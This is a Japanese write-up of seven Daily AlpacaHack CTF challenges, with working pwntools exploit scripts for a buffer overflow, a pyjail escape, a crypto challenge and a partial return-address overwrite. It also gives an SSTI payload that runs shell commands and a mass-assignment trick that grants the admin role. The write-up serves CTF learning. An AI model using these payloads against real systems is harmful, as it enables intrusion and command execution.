Daily AlpacaHack Week7 (2026-1-12 ~ 2026-1-18)
Daily AlpacaHack の Writeup.
(2026/1/12 - 2026/1/18)
後から解いたものなど含むまとめ.
Basic Buffer Overflow (Pwn, 2026/1/12)
- シェルを起動するための
win関数が存在するプログラム checksecの結果 canary はなく,getsが使われているため BOF でリターンアドレスの書き換えが可能- 一方で問題文にもある通り PIE が有効のためリターンアドレスが相対化されており, 実行時の正確なアドレスが分からないという問題設定
- プログラムで
main関数のアドレスが渡されるため,main関数とwin関数のアドレスのオフセットを調べてあげることでwin関数のアドレスを算出できる
from pwn import * elf = ELF("./chal") context.binary = elf win_addr = elf.symbols["win"] main_addr = elf.symbols["main"] is_remote = True if is_remote: _, host, port = "nc 34.170.146.252 19295".split() sh = remote(host, port) else: sh = process() prompt = sh.recvuntil("function:".encode()) print(prompt.decode()) pied_main_addr = int(sh.recvline().decode(), 16) payload = "a".encode() * 0x40 # padding payload += "b".encode() * 0x8 # rbp padding payload += p64(pied_main_addr - main_addr + win_addr) # return to win sh.sendline(payload) sh.interactive()
I wanna be the Admin (Web, 2026/1/13)
adminでログインできればフラグが取得できる仕組みregister部分でユーザーデータをセットする部分が以下のような処理となっていた
users.set(user_data.username, { role: "guest", ...user_data, });
roleに "guest" が指定されているが, その後のuser_dataの中身が検証されないまま展開されている- 試しに
register時の POST の body パラメータにrole: adminを追加してみると, 先に設定されたroleが上書きされた - 結果フラグ獲得
free-comment (Misc, 2026/1/14)
- pyjail 問題
- 入力がコメントアウト ("#") の後に追加されたうえで
evalで実行される
print(eval(f"# {input('> ')}\n'Hi!'"))
- コメントから脱するためには改行が必要だが,
\nはinputの終端文字として扱われるためそのまま含めることはできない - 調べると Windows 系で良く用いられる CRLF の CR 部分 (
\r) は Python において改行として処理されるらしい - 改行を
\rで含められる場合は Flask の SSTI などでよくみられる方法でflagから始まるファイル名を取得し読み込んでフラグ獲得 (globは bash における補完に対応するライブラリ)
from pwn import * _, host, port = "nc 34.170.146.252 43354".split() sh = remote(host, port) prompt = sh.recvuntil(">".encode()) print(prompt.decode()) payload = b"\ropen(__import__('glob').glob('/flag*')[0]).read() +\\" print(b"payload:", payload) sh.sendline(payload) sh.interactive()
Five Alpacas (Crypto, 2026/1/15)
- key が渡され, iv (初期ベクトル) が指定可能な状態のブロック暗号について, ユーザー名が 🦙🦙🦙🦙🦙 となるような暗号文を渡すとフラグ獲得できるプログラム
- key を取得したのちにそれを key と iv の両方に用いて 🦙🦙🦙🦙🦙 を暗号化することで正解となる暗号文が取得できるため, それを送ることでフラグ獲得
import os from Crypto.Cipher import AES from Crypto.Util.Padding import unpad, pad from pwn import * _, host, port = "nc 34.170.146.252 58209".split() sh = remote(host, port) prompt = sh.recvuntil("[DEBUG] key:".encode()) print(prompt.decode()) key = int(sh.recvline().decode(), 16) print("key:", hex(key)) ALPACA = chr(129433).encode() cipher = AES.new(key.to_bytes(16, byteorder="big"), AES.MODE_CBC, key.to_bytes(16, byteorder="big")) padded_plaintext = pad(ALPACA*5, AES.block_size) ciphertext = cipher.encrypt(padded_plaintext) prompt = sh.recvuntil("ciphertext (hex):".encode()) print(prompt.decode()) sh.sendline(ciphertext.hex().encode()) prompt = sh.recvuntil("IV (hex):".encode()) print(prompt.decode()) sh.sendline(format(key, "x").encode()) sh.interactive()
Short Writer (Pwn, 2026/1/16)
前回の Integer Writer について, int 型 (4 バイト) だったものを short (2 バイト) に変えたもの (Integer Wirter の Writeup)
また前回と異なり PIE が有効化されている
PIE 有効な場合アドレスは一般に 4096 Byte (0x1000 Byte) のページサイズ単位でランダム化されるため,
win関数の末尾のアドレス 0x11e9 にたいしてランダム化後のwin関数のアドレスの末尾は 0x1000 単位で増減したものとなる以上よりアドレスの末尾を $0x11e9 + i \times 0x1000$ ($i$ は整数) に書き換えることで確率的に
win関数に遷移することが分かる前回の Integer Writer と同じ要領で
scanf関数のリターンアドレスを書き換えるobjdumpの結果 0xe0 のサイズのスタックが確保されインデックスのアドレスは$rbp-0xd2の場所にある (-1 の場所)0xe0 - 0xd2 = 14, および short のサイズが 2 バイトであることよりscanf関数のrbpが保存される場所までは 7 つ分のインデックスのさかのぼりが必要リターンアドレスは
rbpレジスタの保存される場所の 8 バイト先であるため, 結果として $-1 - 7 - 4 = 12 (0xc)$ 分さかのぼればリターンアドレスの部分を指すようになる上記手順で
/bin/shが起動するまで実行することでフラグ獲得
from pwn import * elf = ELF("./chal") context.binary = elf win_lower = 0x11e9 for i in range(0xff): is_remote = True if is_remote: _, host, port = "nc 34.170.146.252 50663".split() sh = remote(host, port) else: #context.terminal = ["tmux", "splitw", "-h"] sh = process() gdb.attach(sh, gdbscript=""" break __isoc99_scanf c """) prompt = sh.recvuntil("pos >".encode()) print(prompt.decode()) payload = str(-0xc).encode() sh.sendline(payload) # set address print("payload:", payload.decode()) prompt = sh.recvuntil("val >".encode()) print(prompt.decode()) payload = str((win_lower + 0x1000) & 0xffff).encode() sh.sendline(payload) print("address payload:", hex(int(payload.decode()))) sh.sendline("echo PWNED".encode()) try: res = sh.recvuntil("PWNED".encode(), timeout=0.5) sh.interactive() exit() except EOFError: sh.close() continue
Base Length (Misc, 2026/1/17)
- デコードされた際に同じ文字列となる文を渡し, base64 より base32 が小さくなればフラグが獲得できる
- 配布されたプログラムにある通り base64 は 6 ビットを 1 文字にするのに対し base32 は 5 ビットを一文字にするため, 通常では base32 の方がサイズが大きくなる (エンコード文に使える文字数が base64 の方が大きいため)
- Python の
b64decodeは空白を受け取った際にそこを無視する挙動をするため, 空白をたくさん挿入することで復号後の文字列を保ちながらエンコード文の文字長を増やすことができる
from pwn import * from base64 import b32encode, b64encode _, host, port = "nc 34.170.146.252 60350".split() sh = remote(host, port) base_bytes = "a".encode() * 30 prompt = sh.recvuntil("Base32:".encode()) print(prompt.decode()) sh.sendline(b32encode(base_bytes)) prompt = sh.recvuntil("Base64:".encode()) print(prompt.decode()) sh.sendline(b64encode(base_bytes) + b" ") sh.interactive()
dice roll (Web, 2026/1/18)
- テンプレートが以下の形で用意されている
template = "Hello, " + username + "! Your roll of the dice is: {{ dice }}"
usernameが自分で定義可能であるため, SSTI (Server Side Template Injection) が可能- 試しに以下をユーザー名として打ってみる
{7 * 7}
- 結果としてユーザー名の部分に 49 と表示される
- SSTI で
osコマンドを起動してみる
{{request.application.__globals__.builtins__.__import__('os').popen('ls').read()}}
lsコマンドの実行結果が表示される- フラグファイルがあるため読み込んでフラグ獲得